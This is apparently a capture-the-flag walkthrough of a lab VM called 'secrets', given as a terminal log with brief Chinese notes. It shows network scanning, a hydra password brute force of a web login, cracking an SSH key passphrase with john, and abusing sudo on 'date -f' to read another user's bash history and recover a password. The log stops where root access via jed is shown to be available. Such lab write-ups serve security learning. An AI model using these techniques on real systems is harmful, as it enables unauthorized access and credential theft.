❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.217 08:00:27:f2:eb:a5 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e5:e5:eb VMware, Inc.
8 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.089 seconds (122.55 hosts/sec). 4 responded ❯ export ip=192.168.60.217 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Breaking and entering... into the world of open ports. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.217:22 Open 192.168.60.217:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-28 10:24 CST Initiating ARP Ping Scan at 10:24 Scanning 192.168.60.217 [1 port] Completed ARP Ping Scan at 10:24, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:24 Completed Parallel DNS resolution of 1 host. at 10:24, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:24 Scanning 192.168.60.217 [2 ports] Discovered open port 22/tcp on 192.168.60.217 Discovered open port 80/tcp on 192.168.60.217 Completed SYN Stealth Scan at 10:24, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.217 Host is up, received arp-response (0.00038s latency). Scanned at 2025-02-28 10:24:15 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:F2:EB:A5 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ curl $ip I have to tell you a secret... <!-- written by brad --> ❯ curl http://192.168.60.217/secrets/ I keep wanting to tell you a secret... 我一直想告诉你一个秘密...
❯ hydra -l brad -P /usr/share/wordlists/rockyou.txt $ip http-post-form '/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials' Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-28 10:51:28 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://192.168.60.217:80/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials [80][http-post-form] host: 192.168.60.217 login: brad password: bradley 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-28 10:51:38
❯ vi id_rsa ❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status security (id_rsa) 1g 0:00:00:00 DONE (2025-02-28 12:41) 50.00g/s 153600p/s 153600c/s 153600C/s qwertyui..dangerous Use the "--show" option to display all of the cracked passwords reliably Session completed. ❯ ssh brad@$ip -i id_rsa The authenticity of host '192.168.60.217 (192.168.60.217)' can't be established. ED25519 key fingerprint is SHA256:KGZwtmwggtu0zpCwCkOfNz+QU/CxhhYeZZQiHd8tQIc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.217' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa': Linux secrets 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 brad@secrets:~$ cat user.txt 56a42034352d678d4e6ee235c5419cb3
用户brad拥有sudo权限可以以fabian的身份执行data
那不就是可以读文件吗
尝试读一下history，里面藏有密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
brad@secrets:~$ sudo -l Matching Defaults entries for brad on secrets: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User brad may run the following commands on secrets: (fabian) NOPASSWD: /usr/bin/date brad@secrets:/home$ sudo -u fabian date -f /home/fabian/.bash_history date: fecha inválida «cd ~» date: fecha inválida «ls -la» date: fecha inválida «passwd fabian» date: fecha inválida «s3cr3t$$$L0v3$$$» date: fecha inválida «exit -y» brad@secrets:/home$ su fabian Contraseña: fabian@secrets:/home$ cd ~
Root提权
同时fabian也有sudo权限
1 2 3 4 5 6
fabian@secrets:~$ sudo -l Matching Defaults entries for fabian on secrets: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fabian may run the following commands on secrets: (root) NOPASSWD: /usr/bin/jed
